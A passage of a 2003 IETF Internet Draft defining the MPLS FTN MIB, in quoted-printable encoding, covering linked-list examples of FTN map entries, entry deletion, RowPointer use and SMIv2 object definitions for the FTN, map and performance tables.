             |   mplsFTNMapEntry (1.0.1): <--------------------+
             +<-- (mplsFTNMapIndex =3D 1,                        |
             |     mplsFTNMapPrevIndex =3D 0, ---> (NULL)        |
             |     mplsFTNMapCurrIndex =3D 1) ------------+      |
             |                                          |      |
             |   mplsFTNMapEntry (1.1.3): <------------------+ |
             +<-- (mplsFTNMapIndex =3D 1,                 |    | |
             |     mplsFTNMapPrevIndex =3D 1, ----------->+    | |
             |     mplsFTNMapCurrIndex =3D 3) ---------+  |    | |
             |                                       |  |    | |
             |   mplsFTNMapEntry (1.3.2): <----------------+ | |
             +<-- (mplsFTNMapIndex =3D 1,              |  |  | | |
                   mplsFTNMapPrevIndex =3D 3, -------->+  |  | | |



MPLS Working Group              Expires April 2004             [Page 12]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



                   mplsFTNMapCurrIndex =3D 2) ----+    |  |  | | |
  =20
                                                |    |  |  | | |
                mplsFTNTable:                   |    |  |  | | |
                 mplsFTNEntry (2):              |    |  |  | | |
             +--> (mplsFTNIndex =3D 2) <----------+    |  |  | | |
             |                                       |  |  | | |
             |   mplsFTNEntry (3):                   |  |  | | |
             |    (mplsFTNIndex =3D 3) <---------------+  |  | | |
             |                                          |  | | |
             |   mplsFTNEntry (1):                      |  | | |
             |    (mplsFTNIndex =3D 1) <------------------+  | | |
             |                                             | | |
             |  mplsFTNPerfTable:                          | | |
             |   mplsFTNPerfEntry (1.2):                   | | |
             |    (mplsFTNPerfIndex =3D 1,                   | | |
             |     mplsFTNPerfCurrIndex =3D 2) --------------+ | |
             |                                               | |
             |   mplsFTNPerfEntry (1.3):                     | |
             |    (mplsFTNPerfIndex =3D 1,                     | |
             |      mplsFTNPerfCurrIndex =3D 3) ---------------+ |
             |                                                 |
             |   mplsFTNPerfEntry (1.1):                       |
             |    (mplsFTNPerfIndex =3D 1,                       |
             |     mplsFTNPerfCurrIndex =3D 1) ------------------+
             |
             |   mplsFTNPerfEntry (2.2):
             |    (mplsFTNPerfIndex =3D 2,
             |     mplsFTNPerfCurrIndex =3D 2) ------------------+
             |                                                 |
             |  ifTable, The Interfaces Group MIB [RFC2863]:   |
           +---> ifEntry (2):                                  |
           | |    (ifIndex =3D 2)                                |
           | |                                                 |
           | |   mplsFTNMapEntry (2.1.2): <--------------------+
           +----- (mplsFTNMapIndex =3D 2
             |     mplsFTNMapPrevIndex =3D 0 ---> (NULL)
             +---- mplsFTNMapCurrIndex =3D 2)


7.6.  Deleting an Entry
  =20
   Let us next look at how we can remove the recently applied Rule #3
   and how the existing conceptual rows behave in this situation.
  =20
   The conceptual row corresponding to the application of Rule #3 to
   interface ifIndex =3D 1 has the following index values: =
mplsFTNMapIndex
   =3D 1, mplsFTNMapPrevIndex =3D 1 and mplsFTNMapCurrIndex =3D 3.  To =
delete
   this conceptual row the Network Management Application performs a SET
   operation setting the object instance mplsFTNMapRowStatus.1.1.3 to



MPLS Working Group              Expires April 2004             [Page 13]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   the value destroy(6). The agent then destroys this conceptual row.
   It also automatically adjusts the object instance of
   mplsFTNMapPrevIndex corresponding to Rule #2 from the value 3 (i.e.
   pointing to the recently destroyed Rule #3) to the value 1 (i.e. to
   Rule #1).
  =20
   At this point the rules applied to interface ifIndex =3D 1 are Rule =
#1
   and Rule #2, in that order and the relationship between different
   table entries can be represented pictorially as follows.
  =20
                ifTable, The Interfaces Group MIB [RFC2863]:
             +-> ifEntry (1)
             |    (ifIndex =3D 1)
             |
             |  mplsFTNMapTable:
             |   mplsFTNMapEntry (1.0.1): <--------------------+
             +<-- (mplsFTNMapIndex =3D 1,                        |
             |     mplsFTNMapPrevIndex =3D 0, ---> (NULL)        |
             |     mplsFTNMapCurrIndex =3D 1) ------------+      |
             |                                          |      |
             |   mplsFTNMapEntry (1.1.2): <----------------+   |
             +<-- (mplsFTNMapIndex =3D 1,                 |  |   |
                   mplsFTNMapPrevIndex =3D 1, ------------+  |   |
                   mplsFTNMapCurrIndex =3D 2) ----+       |  |   |
                                                |       |  |   |
                mplsFTNTable:                   |       |  |   |
                 mplsFTNEntry (2):              |       |  |   |
             +--> (mplsFTNIndex =3D 2) <----------+       |  |   |
             |                                          |  |   |
             |   mplsFTNEntry (3):                      |  |   |
             |    (mplsFTNIndex =3D 3)                    |  |   |
             |                                          |  |   |
             |   mplsFTNEntry (1):                      |  |   |
             |    (mplsFTNIndex =3D 1) <------------------+  |   |
             |                                             |   |
             |  mplsFTNPerfTable:                          |   |
             |   mplsFTNPerfEntry (1.2):                   |   |
             |    (mplsFTNPerfIndex =3D 1,                   |   |
             |     mplsFTNPerfCurrIndex =3D 2) --------------+   |
             |                                                 |
             |   mplsFTNPerfEntry (1.1):                       |
             |    (mplsFTNPerfIndex =3D 1,                       |
             |     mplsFTNPerfCurrIndex =3D 1) ------------------+
             |
             |   mplsFTNPerfEntry (2.2):
             |    (mplsFTNPerfIndex =3D 2,
             |     mplsFTNPerfCurrIndex =3D 2) ------------------+
             |                                                 |
             |  ifTable, The Interfaces Group MIB [RFC2863]:   |
           +---> ifEntry (2):                                  |



MPLS Working Group              Expires April 2004             [Page 14]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



           | |    (ifIndex =3D 2)                                |
           | |                                                 |
           | |   mplsFTNMapEntry (2.1.2): <--------------------+
           +----- (mplsFTNMapIndex =3D 2
             |     mplsFTNMapPrevIndex =3D 0 ---> (NULL)
             +---- mplsFTNMapCurrIndex =3D 2)
  =20
   Note that the FTN entry for Rule #3 still exists in mplsFTNTable at
   this point but is not referenced by any conceptual row in
   mplsFTNMapTable or mplsFTNPerfTable.
  =20
   Also note that the deletion of an entry from mplsFTNMapTable only
   impacts the entry on that particular interface immediately after the
   deleted entry, if it exists.  None of the other conceptual rows in
   mplsFTNMapTable are impacted.  For instance, in this particular
   example, when the entry for Rule #3 was deleted, the entries for
   Rules #1 and #2b were not impacted.


8. The Use of RowPointer
  =20
   RowPointer is a textual convention used to identify a conceptual row
   in a conceptual table in a MIB by pointing to the first accessible
   object.  In this MIB module, in mplsFTNTable, the RowPointer object
   mplsFTNActionPointer indicates the LSP or TE Tunnel to redirect
   packets matching an FTN entry to.  This object MUST point to the
   first instance of the first accessible columnar object in the
   appropriate conceptual row in order to allow the manager to find the
   appropriate corresponding entry in either MPLS-LSR-STD-MIB [LSRMIB]
   or MPLS-TE-STD-MIB [TEMIB]. If this object returns zeroDotZero it
   implies that there is no currently defined action that is associated
   with that particular FTN entry.


9. MPLS-FTN-STD-MIB Definitions

MPLS-FTN-STD-MIB DEFINITIONS ::=3D BEGIN

IMPORTS
   MODULE-IDENTITY, OBJECT-TYPE, Unsigned32, Counter64, Integer32
      FROM SNMPv2-SMI
   MODULE-COMPLIANCE, OBJECT-GROUP
      FROM SNMPv2-CONF
   RowStatus, StorageType, RowPointer,
   TEXTUAL-CONVENTION, TimeStamp
      FROM SNMPv2-TC
   SnmpAdminString
      FROM SNMP-FRAMEWORK-MIB
   InterfaceIndexOrZero,
   ifGeneralInformationGroup, ifCounterDiscontinuityGroup



MPLS Working Group              Expires April 2004             [Page 15]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



      FROM IF-MIB
   mplsStdMIB
      FROM MPLS-TC-STD-MIB
   InetAddressType, InetAddress, InetPortNumber
      FROM INET-ADDRESS-MIB
   Dscp
      FROM DIFFSERV-DSCP-TC
      ;

mplsFTNStdMIB MODULE-IDENTITY
   LAST-UPDATED "200310201200Z"  -- 20 October 2003 12:00:00 GMT
   ORGANIZATION "Multiprotocol Label Switching (MPLS) Working Group"
   CONTACT-INFO
       "
                Thomas D. Nadeau
        Postal: Cisco Systems, Inc.
                250 Apollo Drive
                Chelmsford, MA 01824
        Tel:    +1-978-244-3051
        Email:  tnadeau@cisco.com
      =20
                Cheenu Srinivasan
        Postal: Bloomberg L.P.
                499 Park Avenue
                New York, NY 10022
        Tel:    +1-212-893-3682
        Email:  cheenu@bloomberg.net
      =20
                Arun Viswanathan
        Postal: Force10 Networks, Inc.
                1440 McCarthy Blvd
                Milpitas, CA 95035
        Tel:    +1-408-571-3516
        Email:  arunv@force10networks.com
      =20
        IETF MPLS Working Group email: mpls@uu.net"
  =20
   DESCRIPTION
       "Copyright (C) The Internet Society (2003). This version of this
        MIB module is part of RFC xxxx; see the RFC itself for full
        legal notices.
      =20
        This MIB module contains managed object definitions for
        specifying FEC to NHLFE (FTN) mappings and corresponding
        performance for MPLS."
      =20
   -- Revision history.
  =20
   REVISION
       "200310201200Z"  -- 20 October 2003 12:00:00 GMT



MPLS Working Group              Expires April 2004             [Page 16]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   DESCRIPTION
       "Initial version issued as part of RFC XXXX."
    ::=3D { mplsStdMIB XXX } -- See IANA Considerations section.
                           -- Requested mplsStdMIB sub-ID is 8.

-- Textual conventions used in this MIB.
MplsFTNEntryIndex ::=3D TEXTUAL-CONVENTION
   STATUS              current
   DESCRIPTION
       "Index for an entry in mplsFTNTable."
   SYNTAX              Unsigned32 (1..4294967295)

MplsFTNEntryIndexOrZero ::=3D TEXTUAL-CONVENTION
   STATUS              current
   DESCRIPTION
       "Index for an entry in mplsFTNTable or the special value
        zero. The value zero is object-specific and must
        therefore be defined as part of the description of any
        object which uses this syntax.  Examples of the usage
        of zero might include situations when none or all
        entries in mplsFTNTable need to be referenced."
   SYNTAX              Unsigned32 (0..4294967295)

-- Top-Level Components of this MIB.

mplsFTNNotifications OBJECT IDENTIFIER ::=3D { mplsFTNStdMIB 0 }
mplsFTNObjects       OBJECT IDENTIFIER ::=3D { mplsFTNStdMIB 1 }
mplsFTNConformance   OBJECT IDENTIFIER ::=3D { mplsFTNStdMIB 2 }

-- Next free index in mplsFTNTable.
mplsFTNIndexNext OBJECT-TYPE
   SYNTAX              MplsFTNEntryIndexOrZero
   MAX-ACCESS          read-only
   STATUS              current
   DESCRIPTION
       "This object contains the next available valid value to
        be used for mplsFTNIndex when creating entries in the
        mplsFTNTable.
      =20
        When creating a new conceptual row (configuration
        entry) in mplsFTNTable with an SNMP SET operation the
        command generator (Network Management Application) must
        first issue a management protocol retrieval operation
        to obtain the current value of this object.
      =20
        If the command responder (agent) does not wish to allow
        creation of more entries in mplsFTNTable, possibly
        because of resource exhaustion, this object MUST return
        a value of 0.
      =20



MPLS Working Group              Expires April 2004             [Page 17]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



        If a non-zero value is returned the Network Management
        Application must determine whether the value is indeed
        still unused since two Network Management Applications
        may attempt to create a row simultaneously and use the
        same value.
      =20
        If it is currently unused and the SET succeeds, the
        agent MUST change the value of this object to a
        currently unused non-zero value (according to an
        implementation specific algorithm) or zero (if no
        further row creation will be permitted).
      =20
        If the value is in use, however, the SET fails and the
        Network Management Application must then reread this
        object to obtain a new usable value."
   ::=3D { mplsFTNObjects 1 }

-- Last time an object in mplsFTNTable changed.
mplsFTNTableLastChanged OBJECT-TYPE
   SYNTAX              TimeStamp
   MAX-ACCESS          read-only
   STATUS              current
   DESCRIPTION
       "Indicates the last time an entry was added, deleted or
        modified in mplsFTNTable.  Management stations should
        consult this object to determine if mplsFTNTable
        requires their attention.  This object is particularly
        useful for applications performing a retrieval on
        mplsFTNTable to ensure that the table is not modified
        during the retrieval operation."
   ::=3D  { mplsFTNObjects 2 }

-- Table of FTN entries.
mplsFTNTable  OBJECT-TYPE
   SYNTAX          SEQUENCE OF MplsFTNEntry
   MAX-ACCESS      not-accessible
   STATUS          current
   DESCRIPTION
       "This table contains the currently defined FTN entries.
        This table allows FEC to NHLFE mappings to be
        specified.  Each entry in this table defines a rule to
        be applied to incoming packets (on interfaces that the
        FTN entry is activated on using mplsFTNMapTable) and an
        action to be taken on matching packets
        (mplsFTNActionPointer).
      =20
        This table supports 6-tuple matching rules based on one
        or more of source address range, destination address
        range, source port range, destination port range, IPv4
        Protocol field or IPv6 next-header field and the



MPLS Working Group              Expires April 2004             [Page 18]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



        DiffServ Code Point (DSCP) to be specified.
      =20
        The action pointer points either to instance of
        mplsXCEntry in MPLS-LSR-STD-MIB when the NHLFE is a non-
        TE LSP, or to an instance of mplsTunnelEntry in the
        MPLS-TE-STD-MIB when the NHLFE is an originating TE
        tunnel."
   REFERENCE
       "J. Postel, Internet Protocol, RFC 791, STD 5, September
        1981
      =20
        Deering, S., and R. Hinden, Internet Protocol, Version
        6 (IPv6) Specification, RFC 2460, December 1998
      =20
        Nichols, K, Blake, S., Baker, F. and D. Black,
        Definition of the Differentiated Services Field (DS
        Field) in the IPv4 and IPv6 Headers, RFC 2474, December
        1998
      =20
        Srinivasan, C., A. Viswanathan, and T. Nadeau, MPLS
        Label Switch Router Management Information Base, draft-
        ietf-mpls-lsr-mib-12.txt
      =20
        Srinivasan, C., A. Viswanathan, and T. Nadeau, MPLS
        Traffic Engineering Management Information Base, draft-
        ietf-mpls-te-mib-12.txt"
   ::=3D  { mplsFTNObjects 3 }

mplsFTNEntry  OBJECT-TYPE
   SYNTAX          MplsFTNEntry
   MAX-ACCESS      not-accessible
   STATUS          current
   DESCRIPTION
       "Each entry represents one FTN entry which defines a
        rule to compare incoming packets with and an action to
        be taken on matching packets."
   INDEX { mplsFTNIndex }
   ::=3D  { mplsFTNTable 1 }

MplsFTNEntry  ::=3D  SEQUENCE {
      mplsFTNIndex               MplsFTNEntryIndex,
      mplsFTNRowStatus           RowStatus,
      mplsFTNDescr               SnmpAdminString,
      mplsFTNMask                BITS,
      mplsFTNAddrType            InetAddressType,
      mplsFTNSourceAddrMin       InetAddress,
      mplsFTNSourceAddrMax       InetAddress,
      mplsFTNDestAddrMin         InetAddress,
      mplsFTNDestAddrMax         InetAddress,
      mplsFTNSourcePortMin       InetPortNumber,



MPLS Working Group              Expires April 2004             [Page 19]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



      mplsFTNSourcePortMax       InetPortNumber,
      mplsFTNDestPortMin         InetPortNumber,
      mplsFTNDestPortMax         InetPortNumber,
      mplsFTNProtocol            Integer32,
      mplsFTNDscp                Dscp,
      mplsFTNActionType          INTEGER,
      mplsFTNActionPointer       RowPointer,
      mplsFTNStorageType         StorageType
   }

mplsFTNIndex   OBJECT-TYPE
   SYNTAX              MplsFTNEntryIndex
   MAX-ACCESS          not-accessible
   STATUS              current
   DESCRIPTION
       "This is the unique index for a conceptual row in
        mplsFTNTable.
      =20
        To create a new conceptual row in mplsFTNTable a
        Network Management Application SHOULD retrieve the
        current value of mplsFTNIndexNext to determine the next
        valid available value of mplsFTNIndex."
   ::=3D { mplsFTNEntry 1 }

mplsFTNRowStatus OBJECT-TYPE
   SYNTAX              RowStatus
   MAX-ACCESS          read-create
   STATUS              current
   DESCRIPTION
       "Used for controlling the creation and deletion of this
        row. All writeable objects in this row may be modified
        at any time. If a Network Management Application
        attempts to delete a conceptual row by setting this
        object to 'destroy' and there are one or more entries
        in mplsFTNMapTable pointing to the row (i.e. when
        mplsFTNIndex of the conceptual row being deleted is
        equal to mplsFTNMapCurrIndex for one or more entries in
        mplsFTNMapTable), the agent MUST also destroy the
        corresponding entries in mplsFTNMapTable."
   ::=3D { mplsFTNEntry 2 }

mplsFTNDescr   OBJECT-TYPE
   SYNTAX              SnmpAdminString
   MAX-ACCESS          read-create
   STATUS              current
   DESCRIPTION
       "The description of this FTN entry. Since the index for
        this table has no particular significance or meaning,
        this object should contain some meaningful text that an
        operator could use to further distinguish entries in



MPLS Working Group              Expires April 2004             [Page 20]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



        this table."
   ::=3D { mplsFTNEntry 3 }

mplsFTNMask OBJECT-TYPE
   SYNTAX             BITS {
                       sourceAddr(0),
                       destAddr(1),
                       sourcePort(2),
                       destPort(3),
                       protocol(4),
                       dscp(5)
                      }
   MAX-ACCESS          read-create
   STATUS              current
   DESCRIPTION
       "This bit map indicates which of the fields described
        next, namely source address range, destination address
        range, source port range, destination port range, IPv4
        Protocol field or IPv6 next-header field and
        Differentiated Services Code Point (DSCP) is active for
        this FTN entry. If a particular bit is set to zero then
        the corresponding field in the packet MUST be ignored
        for comparison purposes."
   ::=3D { mplsFTNEntry 4 }

mplsFTNAddrType OBJECT-TYPE
   SYNTAX             InetAddressType
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "This object determines the type of address contained in
        the source and destination address objects
        (mplsFTNSourceAddrMin, mplsFTNSourceAddrMax,
        mplsFTNDestAddrMin and mplsFTNDestAddrMax) of a
        conceptual row.
      =20
        This object MUST NOT be set to unknown(0) when
        mplsFTNMask has bit positions sourceAddr(0) or
        destAddr(1) set to one.
      =20
        When both these bit positions of mplsFTNMask are set to
        zero the value of mplsFTNAddrType SHOULD be set to
        unknown(0) and the corresponding source and destination
        address objects SHOULD be set to zero-length strings."
   ::=3D { mplsFTNEntry 5 }

mplsFTNSourceAddrMin OBJECT-TYPE
   SYNTAX             InetAddress
   MAX-ACCESS         read-create
   STATUS             current



MPLS Working Group              Expires April 2004             [Page 21]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   DESCRIPTION
       "The lower end of the source address range. The type of
        this object is determined by the corresponding
        mplsFTNAddrType object."
   ::=3D { mplsFTNEntry 6 }

mplsFTNSourceAddrMax OBJECT-TYPE
   SYNTAX             InetAddress
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "The upper end of the source address range. The type of
        this object is determined by the corresponding
        mplsFTNAddrType object."
   ::=3D { mplsFTNEntry 7 }

mplsFTNDestAddrMin OBJECT-TYPE
   SYNTAX             InetAddress
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "The lower end of the destination address range. The
        type of this object is determined by the corresponding
        mplsFTNAddrType object."
   ::=3D { mplsFTNEntry 8 }

mplsFTNDestAddrMax OBJECT-TYPE
   SYNTAX             InetAddress
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "The higher end of the destination address range. The
        type of this object is determined by the corresponding
        mplsFTNAddrType object."
   ::=3D { mplsFTNEntry 9 }

mplsFTNSourcePortMin OBJECT-TYPE
   SYNTAX             InetPortNumber
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "The lower end of the source port range."
   DEFVAL { 0 }
   ::=3D { mplsFTNEntry 10 }

mplsFTNSourcePortMax OBJECT-TYPE
   SYNTAX             InetPortNumber
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION



MPLS Working Group              Expires April 2004             [Page 22]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



       "The higher end of the source port range "
   DEFVAL { 65535 }
   ::=3D { mplsFTNEntry 11 }

mplsFTNDestPortMin OBJECT-TYPE
   SYNTAX             InetPortNumber
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "The lower end of the destination port range."
   DEFVAL { 0 }
   ::=3D { mplsFTNEntry 12 }

mplsFTNDestPortMax OBJECT-TYPE
   SYNTAX             InetPortNumber
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "The higher end of the destination port range."
   DEFVAL { 65535 }
   ::=3D { mplsFTNEntry 13 }

mplsFTNProtocol OBJECT-TYPE
   SYNTAX             Integer32 (0..255)
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "The IP protocol to match against the IPv4 protocol
        number or IPv6 Next-Header number in the packet. A
        value of 255 means match all.  Note that the protocol
        number of 255 is reserved by IANA, and Next-Header
        number of 0 is used in IPv6."
   DEFVAL { 255 }
   ::=3D { mplsFTNEntry 14 }

mplsFTNDscp OBJECT-TYPE
   SYNTAX             Dscp
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "The contents of the DSCP field."
   REFERENCE
       "Nichols, K., Blake, S., Baker, F. and D. Black,
        Definition of the Differentiated Services Field (DS
        Field) in the IPv4 and IPv6 Headers, RFC 2474, December
        1998."
   ::=3D { mplsFTNEntry 15 }

mplsFTNActionType OBJECT-TYPE
   SYNTAX    INTEGER {



MPLS Working Group              Expires April 2004             [Page 23]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



                redirectLsp(1),   -- redirect into LSP
                redirectTunnel(2) -- redirect into tunnel
             }
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "The type of action to be taken on packets matching this
        FTN entry."
   ::=3D { mplsFTNEntry 16 }

mplsFTNActionPointer OBJECT-TYPE
   SYNTAX             RowPointer
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "If mplsFTNActionType is redirectLsp(1), then this
        object MUST contain zeroDotZero or point to a instance
        of mplsXCEntry indicating the LSP to redirect matching
        packets to.
      =20
        If mplsFTNActionType is redirectTunnel(2), then this
        object MUST contain zeroDotZero or point to a instance
        of mplsTunnelEntry indicating the MPLS TE tunnel to
        redirect matching packets to.
      =20
        If this object points to a conceptual row instance in a
        table consistent with mplsFTNActionType but this
        instance does not currently exist then no action will
        be taken on packets matching such an FTN entry till
        this instance comes into existence.
      =20
        If this object contains zeroDotZero then no action will
        be taken on packets matching such an FTN entry till it
        is populated with a valid pointer consistent with the
        value of mplsFTNActionType as explained above."
   ::=3D { mplsFTNEntry 17 }

mplsFTNStorageType OBJECT-TYPE
   SYNTAX             StorageType
   MAX-ACCESS         read-create
   STATUS             current
   DESCRIPTION
       "The storage type for this FTN entry. Conceptual rows
        having the value 'permanent' need not allow write-
        access to any columnar objects in the row."
   DEFVAL { nonVolatile }
   ::=3D { mplsFTNEntry 18 }

-- End of mplsFTNTable.




MPLS Working Group              Expires April 2004             [Page 24]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



-- Last time an object in mplsFTNMapTable changed.
mplsFTNMapTableLastChanged OBJECT-TYPE
   SYNTAX              TimeStamp
   MAX-ACCESS          read-only
   STATUS              current
   DESCRIPTION
       "Indicates the last time an entry was added, deleted or
        modified in mplsFTNMapTable. Management stations should
        consult this object to determine if the table requires
        their attention.  This object is particularly useful
        for applications performing a retrieval on
        mplsFTNMapTable to ensure that the table is not
        modified during the retrieval operation."
   ::=3D  { mplsFTNObjects 4 }

-- FTN to interface mapping table.
mplsFTNMapTable OBJECT-TYPE
   SYNTAX              SEQUENCE OF MplsFTNMapEntry
   MAX-ACCESS          not-accessible
   STATUS              current
   DESCRIPTION
       "This table contains objects which provide the
        capability to apply or map FTN rules as defined by
        entries in mplsFTNTable to specific interfaces in the
        system.  FTN rules are compared with incoming packets
        in the order in which they are applied on an interface.
      =20
        The indexing structure of mplsFTNMapTable is as
        follows.
      =20
        - mplsFTNMapIndex indicates the interface to which the
          rule is being applied.  A value of 0 represents the
          application of the rule to all interfaces.
       =20
        - mplsFTNMapPrevIndex specifies the rule on the
          interface prior to the one being applied.  A value of
          0 specifies that the rule is being inserted at the
          head of the list of rules currently applied to the
          interface.
       =20
        - mplsFTNMapCurrIndex is the index in mplsFTNTable
          corresponding to the rule being applied.
      =20
        This indexing structure makes the entries in the table
        behave like items in a linked-list.  The object
        mplsFTNMapPrevIndex in each conceptual row is a pointer
        to the previous entry that is applied to a particular
        interface.  This allows a new entry to be 'inserted' at
        an arbitrary position in a list of entries currently
        applied to an interface.  This object is self-



MPLS Working Group              Expires April 2004             [Page 25]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



        adjusting, i.e. its value is automatically adjusted by
        the agent, if necessary, after an insertion or deletion
        operation.
      =20
        Using this linked-list structure, one can retrieve FTN
        entries in the order of application on a per-interface
        basis as follows:
      =20
        - To determine the first FTN entry on an interface
          with index ifIndex perform a GETNEXT retrieval
          operation on mplsFTNMapRowStatus.ifIndex.0.0; the
          returned object, if one exists, is (say)
          mplsFTNMapRowStatus.ifIndex.0.n (mplsFTNMapRowStatus
          is the first accessible columnar object in the
          conceptual row). Then the index of the first FTN
          entry applied on this interface is n.
       =20
        - To determine the FTN entry applied to an interface
          after the one indexed by n perform a GETNEXT
          retrieval operation on
          mplsFTNMapRowStatus.ifIndex.n.0.  If such an entry
          exists the returned object would be of the form
          mplsFTNMapRowStatus.ifIndex.n.m.  Then the index of
          the next FTN entry applied on this interface is m.
       =20
        - If the FTN entry indexed by n is the last entry
          applied to the interface with index ifIndex then the
          object returned would either be:
       =20
          1.mplsFTNMapRowStatus.ifIndexNext.0.k, where
            ifIndexNext is the index of the next interface in
            ifTable to which an FTN entry has been applied, in
            which case k is the index of the first FTN entry
            applied to the interface with index ifIndexNext;
       =20
          or:
       =20
          2.mplsFTNMapStorageType.firstIfIndex.0.p, if there
            are no more entries in mplsFTNMapTable, where
            firstIfIndex is the first entry in ifTable to
            which an FTN entry has been mapped.
      =20
        Use the above steps to retrieve all the applied FTN
        entries on a per-interface basis in application order.
        Note that the number of retrieval operations is the
        same as the number of applied FTN entries (i.e. the
        minimum number of GETNEXT operations needed using any
        indexing scheme).
      =20
        Agents MUST NOT allow the same FTN entry as specified



MPLS Working Group              Expires April 2004             [Page 26]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



        by mplsFTNMapCurrIndex to be applied multiple times to
        the same interface.
      =20
        Agents MUST NOT allow the creation of rows in this
        table until the corresponding rows are created in the
        mplsFTNTable.
      =20
        If a row in mplsFTNTable is destroyed, the agent MUST
        destroy the corresponding entries (i.e. ones with a
        matching value of mplsFTNCurrIndex) in this table as
        well."
   ::=3D  { mplsFTNObjects 5 }

mplsFTNMapEntry OBJECT-TYPE
   SYNTAX              MplsFTNMapEntry
   MAX-ACCESS          not-accessible
   STATUS              current
   DESCRIPTION
       "Each conceptual row represents the application of an
        FTN rule at a specific position in the list of FTN
        rules applied on an interface. "
   INDEX {
         mplsFTNMapIndex,
         mplsFTNMapPrevIndex,
         mplsFTNMapCurrIndex
   }
   ::=3D  { mplsFTNMapTable 1 }

MplsFTNMapEntry  ::=3D  SEQUENCE {
      mplsFTNMapIndex       InterfaceIndexOrZero,
      mplsFTNMapPrevIndex    MplsFTNEntryIndexOrZero,
      mplsFTNMapCurrIndex    MplsFTNEntryIndex,
      mplsFTNMapRowStatus    RowStatus,
      mplsFTNMapStorageType  StorageType
   }

mplsFTNMapIndex OBJECT-TYPE
   SYNTAX              InterfaceIndexOrZero
   MAX-ACCESS          not-accessible
   STATUS              current
   DESCRIPTION
       "The interface index that this FTN entry is being
        applied to. A value of zero indicates an entry that is
        applied all interfaces.
      =20
        Entries mapped to an interface by specifying its (non-
        zero) interface index in mplsFTNMapIndex are applied
        ahead of entries with mplsFTNMapIndex equal to zero."
   ::=3D { mplsFTNMapEntry 1 }
  =20



MPLS Working Group              Expires April 2004             [Page 27]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



mplsFTNMapPrevIndex OBJECT-TYPE
   SYNTAX              MplsFTNEntryIndexOrZero
   MAX-ACCESS          not-accessible
   STATUS              current
   DESCRIPTION
       "The index of the previous FTN entry that was applied to
        this interface. The special value zero indicates that
        this should be the first FTN entry in the list."
   ::=3D  { mplsFTNMapEntry 2 }

mplsFTNMapCurrIndex OBJECT-TYPE
   SYNTAX              MplsFTNEntryIndex
   MAX-ACCESS          not-accessible
   STATUS              current
   DESCRIPTION
       "Index of the current FTN entry that is being applied to
        this interface."
   ::=3D  { mplsFTNMapEntry 3 }

mplsFTNMapRowStatus OBJECT-TYPE
   SYNTAX              RowStatus {
                             active(1),
                             createAndGo(4),
                             destroy(6)
                          }
   MAX-ACCESS          read-create
   STATUS              current
   DESCRIPTION
       "Used for controlling the creation and deletion of this
        row.
      =20
        All writable objects in this row may be modified at any
        time.
      =20
        If a conceptual row in mplsFTNMapTable points to a
        conceptual row in mplsFTNTable which is subsequently
        deleted, the corresponding conceptual row in
        mplsFTNMapTable MUST also be deleted by the agent."
   ::=3D  { mplsFTNMapEntry 4 }

mplsFTNMapStorageType OBJECT-TYPE
   SYNTAX              StorageType
   MAX-ACCESS          read-create
   STATUS              current
   DESCRIPTION
       "The storage type for this entry.  Conceptual rows
        having the value 'permanent' need not allow write-
        access to any columnar objects in this row."
   DEFVAL { nonVolatile }
   ::=3D { mplsFTNMapEntry 5 }



MPLS Working Group              Expires April 2004             [Page 28]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003




-- End of mplsFTNMapTable

-- FTN entry performance table

mplsFTNPerfTable OBJECT-TYPE
   SYNTAX              SEQUENCE OF MplsFTNPerfEntry
   MAX-ACCESS          not-accessible
   STATUS              current
   DESCRIPTION
       "This table contains performance statistics on FTN
        entries on a per-interface basis."
   ::=3D { mplsFTNObjects 6 }

mplsFTNPerfEntry OBJECT-TYPE
   SYNTAX              MplsFTNPerfEntry
   MAX-ACCESS          not-accessible
   STATUS              current
   DESCRIPTION
       "Each entry contains performance information for the
        specified interface and an FTN entry mapped to this
        interface."
   INDEX  { mplsFTNPerfIndex, mplsFTNPerfCurrIndex }
   ::=3D  { mplsFTNPerfTable 1 }

MplsFTNPerfEntry  ::=3D  SEQUENCE {
      mplsFTNPerfIndex                     InterfaceIndexOrZero,
      mplsFTNPerfCurrIndex                 MplsFTNEntryIndex,
      mplsFTNPerfMatchedPackets            Counter64,
      mplsFTNPerfMatchedOctets             Counter64,
      mplsFTNPerfDiscontinuityTime         TimeStamp
   }

mplsFTNPerfIndex OBJECT-TYPE
   SYNTAX              InterfaceIndexOrZero
   MAX-ACCESS          not-accessible
   STATUS              current
   DESCRIPTION
       "The interface index of an interface that an FTN entry
        has been applied/mapped to.  Each instance of this
        object corresponds to an instance of mplsFTNMapIndex."
   ::=3D { mplsFTNPerfEntry 1 }
  =20
mplsFTNPerfCurrIndex OBJECT-TYPE
   SYNTAX              MplsFTNEntryIndex
   MAX-ACCESS          not-accessible
   STATUS              current
   DESCRIPTION
       "Index of an FTN entry that has been applied/mapped to
        the specified interface.  Each instance of this object



MPLS Working Group              Expires April 2004             [Page 29]
=0C
